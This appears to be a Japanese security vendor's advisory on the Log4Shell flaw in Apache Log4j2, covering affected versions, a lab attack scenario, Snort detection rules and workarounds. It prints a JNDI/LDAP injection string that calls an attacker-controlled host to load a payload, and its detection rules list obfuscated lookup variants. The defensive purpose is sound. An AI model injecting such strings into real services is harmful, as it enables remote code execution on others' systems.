2021年12月10日 Apache log4j2 からJNDI Parserを悪用したRCE脆弱性(CVE-2021-44228)が公開されました。
その概要と攻撃例、対策についてまとめています。
2021年12月22日 更新
Apache Log4j は、Apache Software FoundationのApache Logging Servicesプロジェクトの一部です。
コンソール及びファイル出力の形でロギングをサポートし、ライブラリから分離した設定ファイル(XML、Properties)での設定が可能なロギングパッケージです。
フィルター機能などの機能があり、マルチスレッド環境(Multi Thread)で Async Logger(非同期ログ)のログ記録方法の場合、他のロギングフレームワークより優れた処理パフォーマンスが高い(処理量、短時間処理など)のが特徴です。
6つのログレベルを標準提供しており、ログレベルが高い(情報量が少ない)ものから低い(情報量が多い)ものへと順に並べると下表の通りです。
<log4jのログレベル>
| ログレベル | 説明 |
| FATAL | もっとも深刻なエラーが発生した状態 |
| ERROR | リクエスト処理中に問題が発生した状態 |
| WARN | 実行には問題ないが、後にエラーの原因となりうる警告メッセージ |
| INFO | 状態変更のような情報メッセージ |
| DEBUG | 開発時デバッグ用で使うメッセージ |
| TRACE | デバッグレベルより詳細イベントを表示するメッセージ |
2013年 Apache Log4j 2.0-beta9 から追加された「LOG4J2-313: Add JNDILookup plugin. Thanks to Woonsan Ko.」の脆弱性です。
JNDI (Java Naming and Directory Interface)とは:
Javaプログラムがディレクトリを介してデータ(Java オブジェクト)を検索できるディレクトリサービス
遠隔の第三者が細工したデータを送る事で、任意のコマンドを実行される(RCE(Remote Code Execution) )可能性があります 。
JNDI内のさまざまなディレクトリサービスを使えるようにするSPI(Service Provider Interface)の中で、JNDIとLDAPを一緒に使う過程から脆弱性を悪用することが可能です。
攻撃者は 以下のような攻撃コードを使用し、リモートサーバからペイロードを検索し、ローカルで実行できるLDAPコネクタのJNDIコンポーネントを用いて攻撃します。
> ${jndi:ldap://attacker_controled_website/payload_to_be_executed}
<攻撃Poc例>

<攻撃シナリオ>

※攻撃PoC実施に関しては対策参考として記載しています。模倣して実行した場合、攻撃行為となりますのでご注意ください。
当攻撃PoC情報を基に脆弱性等の確認の為、模倣した内容を実行した場合、そこに関わる全ての責任は実施者にあります。当ブログ記事の発行元、発行者は一切の責任をおいかねますのでご了承ください。
Exploitを含むUser-Agent文字列はインデクシングまたはJavaベースのバックエンドシステムに伝わるため、攻撃を悪用することが可能です。
log4j2を使用する場合、javaベースswにパッチを適用するか、回避策を設けるのが重要となります。
危険性が高い為、詳細情報は控えさせていただきます。
攻撃概要として記載していますので、どのようなことが起きるのかイメージとしてご確認ください。
・実施環境情報
攻撃者環境: Kali-Linux-2021.4-vmware-amd64
攻撃先(被害側)環境: Windows 10 Version 2004
1)脆弱なサーバーで公開されているチャット機能に攻撃コードを入力

2)サーバーのログに対象コードが出ていることを確認

3)LDAPリクエストをHTTPリクエストに変換して、PoCコードが攻撃先環境へ転送される

4)転送されたPoCコードの動作によって攻撃先の環境では電卓が実行される

(2021年12月22日 脆弱なApache Log4j2が使われたプログラム攻撃 追記)
・Apache Log4j 2.15.0 より前の 2 系のバージョン
(Apache Log4j 2.15.0-rc1を含む)
Apache Log4j 1 系のバージョンは、Lookup 機能が含まれておらず、JMS Appender が有効でもクラス情報がデシリアライズされないため影響を受けないとの情報を確認
( 「Apache Log4j 2.15.0」 ではサービス拒否攻撃(DoS)を許す問題(CVE-2021-45046)が残されていた。)
– ダウンロードURL:
https://logging.apache.org/log4j/2.x/download.html
・Apacheソフトウェア財団から配信しているオープンソース
(Apache Struts, Apache Solr, Apache Druid, Apache Flink, ElasticSearch, Flume, Apache Dubbo, Logstash, Kafka, Spring-Boot-starter-log4j2)
・Apache log4j2を使用しているサードパーティプログラム
影響を受けるベンダー:
https://github.com/NCSC-NL/log4shell/blob/main/software/README.md
(2021/12/22 影響を受けるソフトウェア追記)
※ 脆弱性の影響度が高いため必ずセキュリティアップデート及び回避策の対応が必要
※ Apache log4j 2.15.0 では、サービス拒否攻撃(DoS)を許す問題(CVE-2021-45046)が残されていたと発表されている為、最新バージョンへのアップデート推奨。
https://logging.apache.org/log4j/2.x/index.html
〇 Apache log4jセキュリティアップデートを実施
(最新バージョン:Apache log4j 2.16.0)
〇 WAFのパターンアップデートでCVE-2021-44228パターンが含まれているか確認
〇 USER-AGENT HTTP Headerに「${jndi:ldap:」、「${jndi:dns:」で検知パターン作成
〇 下記SNORTの参考
※あくまでも参考のものとなります。検知の有効性を保証するものではありません。
| No. | SNORT |
| 1 | alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05428 |
| 2 | Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”${upper:”; fast_pattern:only; http_client_body; pcre:”/\x24{(\x24{(upper|lower):j}|j)(\x24{(upper|lower):n}|n)(\x24{(upper|lower):d}|d)(\x24{(upper|lower):i}|i)(\x24{(upper|lower)::}|:)/Pi”; sid:205428;) |
| 3 | alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05429 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”upper”; fast_pattern:only; content:”upper”; nocase; http_cookie; pcre:”/(%(25)?24|\x24)(%(25)?7b|\x7b)upper(%(25)?3a|\x3a)/Ci”; sid:205429; ) |
| 4 | alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05430 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”${upper:”; fast_pattern:only; http_header; pcre:”/\x24{(\x24{(upper|lower):j}|j)(\x24{(upper|lower):n}|n)(\x24{(upper|lower):d}|d)(\x24{(upper|lower):i}|i)(\x24{(upper|lower)::}|:)/Hi”; sid:205430; ) |
| 5 | alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05431 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”lower”; fast_pattern:only; content:”lower”; nocase; http_cookie; pcre:”/(%(25)?24|\x24)(%(25)?7b|\x7b)lower(%(25)?3a|\x3a)/Ci”; sid:205431; ) |
| 6 | alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05432 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”${upper:”; fast_pattern:only; http_uri; pcre:”/\x24{(\x24{(upper|lower):j}|j)(\x24{(upper|lower):n}|n)(\x24{(upper|lower):d}|d)(\x24{(upper|lower):i}|i)(\x24{(upper|lower)::}|:)/Ui”; sid:205432; ) |
| 7 | alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05433 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”${lower:”; fast_pattern:only; http_client_body; pcre:”/\x24{(\x24{(upper|lower):j}|j)(\x24{(upper|lower):n}|n)(\x24{(upper|lower):d}|d)(\x24{(upper|lower):i}|i)(\x24{(upper|lower)::}|:)/Pi”; sid:205433;) |
| 8 | alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05434 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”${jndi:”; fast_pattern:only; http_client_body; sid:205434; ) |
| 9 | alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05435 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”jndi”; fast_pattern:only; content:”jndi”; nocase; http_cookie; pcre:”/(%(25)?24|\x24)(%(25)?7b|\x7b)jndi(%(25)?3a|\x3a)/Ci”; sid:205435; ) |
| 10 | alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05436 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”${lower:”; fast_pattern:only; http_uri; pcre:”/\x24{(\x24{(upper|lower):j}|j)(\x24{(upper|lower):n}|n)(\x24{(upper|lower):d}|d)(\x24{(upper|lower):i}|i)(\x24{(upper|lower)::}|:)/Ui”; sid:205436; ) |
| 11 | alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05437 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”${lower:”; fast_pattern:only; http_header; pcre:”/\x24{(\x24{(upper|lower):j}|j)(\x24{(upper|lower):n}|n)(\x24{(upper|lower):d}|d)(\x24{(upper|lower):i}|i)(\x24{(upper|lower)::}|:)/Hi”; sid:205437; ) |
| 12 | alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05438 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”${jndi:”; fast_pattern:only; http_header; sid:205438; ) |
| 13 | alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05439 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”${jndi:”; fast_pattern:only; http_uri; sid:205439; ) |
| 14 | alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05440 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”lower”; fast_pattern:only; http_header; pcre:”/(%(25)?24|\x24)(%(25)?7b|\x7b)lower(%(25)?3a|\x3a)/Hi”; sid:205440; ) |
| 15 | alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05441 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”upper”; fast_pattern:only; http_header; pcre:”/(%(25)?24|\x24)(%(25)?7b|\x7b)upper(%(25)?3a|\x3a)/Hi”; sid:205441; ) |
| 16 | alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05442 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”jndi”; fast_pattern:only; http_header; pcre:”/(%(25)?24|\x24)(%(25)?7b|\x7b)jndi(%(25)?3a|\x3a)/Hi”; sid:205442; ) |
| 17 | alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05443 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”upper”; fast_pattern:only; http_client_body; pcre:”/(%(25)?24|\x24)(%(25)?7b|\x7b)upper(%(25)?3a|\x3a)/Pi”; sid:205443; ) |
| 18 | alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05444 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”lower”; fast_pattern:only; http_client_body; pcre:”/(%(25)?24|\x24)(%(25)?7b|\x7b)lower(%(25)?3a|\x3a)/Pi”; sid:205444; ) |
| 19 | alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05445 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”jndi”; fast_pattern:only; http_client_body; pcre:”/(%(25)?24|\x24)(%(25)?7b|\x7b)jndi(%(25)?3a|\x3a)/Pi”; sid:205445; ) |
〇 -Dlog4j.formatMsgNoLookups=trueのコマンドをオプションで追加する
又は
log4j.formatMsgNoLookups=trueをクラスパスのlog4j2.component.propertiesファイルに追加してログイベントメッセージから照会するのを防止
〇 PatternLayout構成から %m{nolookups} を指定してログイベントメッセージから照会するのを防止
〇 log4j-core jarからJndiLookup及びJndiManagerクラスを除去
〇 JndiManagerを除去するとJndiContextSelector及びJMSAppenderが動作しない
例) zip -q -d log4j-core-*.jar
org/apache/logging/log4j/core/lookup/JndiLookup.class
<参考資料>
1) Log4Shell: RCE 0-day exploit found in log4j2, a popular Java logging package
https://www.lunasec.io/docs/blog/log4j-zero-day/
2) RCE in log4j, Log4Shell, or how things can get bad quickly
https://isc.sans.edu/
3) Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild
https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html
4) CVE-2021-44228-Apache-Log4j-Rce
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
5) Inside the log4j2 vulnerability (CVE-2021-44228)
https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
Written by CYBERFORTRESS, INC.
Tweet関連記事
よく読まれている記事